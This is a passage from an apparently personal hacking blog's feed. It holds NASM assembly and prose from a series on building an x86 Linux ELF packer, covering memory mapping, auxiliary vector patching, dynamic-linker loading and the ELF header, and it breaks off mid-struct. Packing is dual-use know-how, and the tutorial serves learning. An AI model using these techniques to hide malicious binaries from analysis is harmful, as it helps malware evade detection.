&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;18h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; grab elf_bss&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;1000h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffff000h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; align it to one page&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stosb&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;14h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;leave&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;

&lt;span class="nl"&gt;get_map_prot:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PF_R&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.test_w&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_READ&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.test_w:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PF_W&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.test_x&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_WRITE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.test_x:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PF_X&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.next&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_EXEC&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.next:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This function returns the entry point of the dynamic linker, in order to be called after, and the function "get_map_prot" returns permissions according to section flags in ELF.&lt;/p&gt;
&lt;p&gt;But, even if we map ld-linux, our job is not done here, there is extra initialization to do before.&lt;/p&gt;
&lt;h2&gt;Auxiliary vectors&lt;/h2&gt;
&lt;p&gt;When Linux kernel loads a executable file, it puts some stuff in the stack after envp (and of course, argc and argv). This zone is called "auxiliary vectors", because of its name "auxp" in ld-linux code. So, to have something working properly, we'll have to modify some of this auxiliary vectors, but we'll have to find them before. To do this, here is the code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Finds the auxp array (after endp)&lt;/span&gt;
&lt;span class="nl"&gt;find_auxp_array:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; ptr to argv&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;;ptr to envp&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;.loop:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.loop&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code has to be called in the "main" function which has to have a stack frame, because it uses stack frame of main function to grab argument pointer. Then it lookups envp pointer array in odrer to locate auxp array.&lt;/p&gt;
&lt;p&gt;An auxp element is a structure which is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="cm"&gt;/* Entry type */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;union&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a_val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* Integer value */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="cm"&gt;/* Pointer value */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a_fcn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* Function pointer value */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a_un&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Elf32_auxv_t&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Each auxiliary vector has an ID which specifies the type of data contained in the vector. For us, we'll need to update stuff related to ELF header, and more especially related to program header table (and also the entry point), because ld-linux uses these vectors. So, we'll need to modify AT_PHNUM and AT_ENTRY vectors (we don't change AT_PHDR, we assume program header is still at the same place), which is done here:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;find_auxp_array&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; change data in auxp vectors&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.auxp_loop:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.auxp_end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; jump if no auxp vectors&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;AT_PHNUM&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_phnum&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;word&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phnum&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;.no_phnum:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;AT_ENTRY&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_entry&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;.no_entry:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.auxp_loop&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.auxp_end:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; program has PT_INTERP, map it into mem&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;dynamic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;load_interp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, once all these initializations done, enjoy ur ELF packer :].&lt;/p&gt;
&lt;p&gt;Source code of this can be found at &lt;a href="http://repo.aassfxxx.infos.st/misc/asm/elf_packer.zip"&gt;this address&lt;/a&gt;&lt;/p&gt;</content><category term="Hacking"/><category term="Packer"/><category term="ELF"/><category term="C"/><category term="assembler"/></entry><entry><title>Making ELF packer for fun and chocapicz</title><link href="/making-elf-packer-for-fun-and-chocapicz.html" rel="alternate"/><published>2013-05-07T18:51:00+02:00</published><updated>2013-05-07T18:51:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2013-05-07:/making-elf-packer-for-fun-and-chocapicz.html</id><summary type="html">&lt;p&gt;I recently decided to make an ELF packer, in order to learn some cool stuff about Linux kernel and ELF format, so I'll write 2 or 3 articles in this blog to explain some stuff I discovered.
To write this article, I use NASM and a x86 linux kernel (yeah guys, I'm still on a x86 archlinux). But before, let's listen to &lt;a href="http://archive.org/details/Amygdala-PillarsOfCreation"&gt;some music&lt;/a&gt;&lt;/p&gt;
</summary><content type="html">&lt;p&gt;I recently decided to make an ELF packer, in order to learn some cool stuff about Linux kernel and ELF format, so I'll write 2 or 3 articles in this blog to explain some stuff I discovered.
To write this article, I use NASM and a x86 linux kernel (yeah guys, I'm still on a x86 archlinux). But before, let's listen to &lt;a href="http://archive.org/details/Amygdala-PillarsOfCreation"&gt;some music&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;In this article (and the next(s) which will follow), I decided to make a "real" packer as we can see in win32, i.e. a packer which replaces its memory image by the packed binary's image.&lt;/p&gt;
&lt;p&gt;First of all, the packer has to unmap its sections from memory (to make some space to map the "real" binary), but if we do this, we'll execute code which will no longer exist, and it's not a good idea. So, we have to map memory elsewhere, copy our code into that space and continue execution from it to avoid problems. The code into the new memory space will just unmap the old binary, maybe uncompress/decrypt the real binary, and map it into the memory, and then jump to its entry point.&lt;/p&gt;
&lt;p&gt;In fact, it's more difficult than this if the binary is dynamically-linked to other libraries, because we'll have to load the dynamic linker manually, and do a lot of extra stuff to get it working (contrary to win32 which loads ntdll.dll by default and does all init stuff in LdrInitializeThunk). So I'll talk about "standalone" or statically-linked binaries packing.&lt;/p&gt;
&lt;h2&gt;Some thoughts about ELF header&lt;/h2&gt;
&lt;p&gt;As you may probably know, linux binaries have an ELF header, which describes where is the entry point, how binary is mapped in memory, what are the sections and other stuff like this. Two components are interesting here for us: the ELF header itself, which will give to us the real entry point, and also the "Program Header" which describes how the binary has to be mapped into the memory. So, here are these structures:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/* ELF header */&lt;/span&gt;

&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;e_ident&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ELF_NIDENT&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="cm"&gt;/* magic number et al. */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="cm"&gt;/* type of file this is */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_machine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="cm"&gt;/* processor type file is for */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_version&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="cm"&gt;/* ELF version */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* address of program entry point */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_phoff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* location in file of phdrs */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_shoff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* ignore */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int32_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* ignore */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_ehsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="cm"&gt;/* actual size of file header */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_phentsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="cm"&gt;/* actual size of phdr */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_phnum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="cm"&gt;/* number of phdrs */&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;u_int16_t&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;e_shentsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="cm"&gt;/* ignore */&lt;/span&gt;
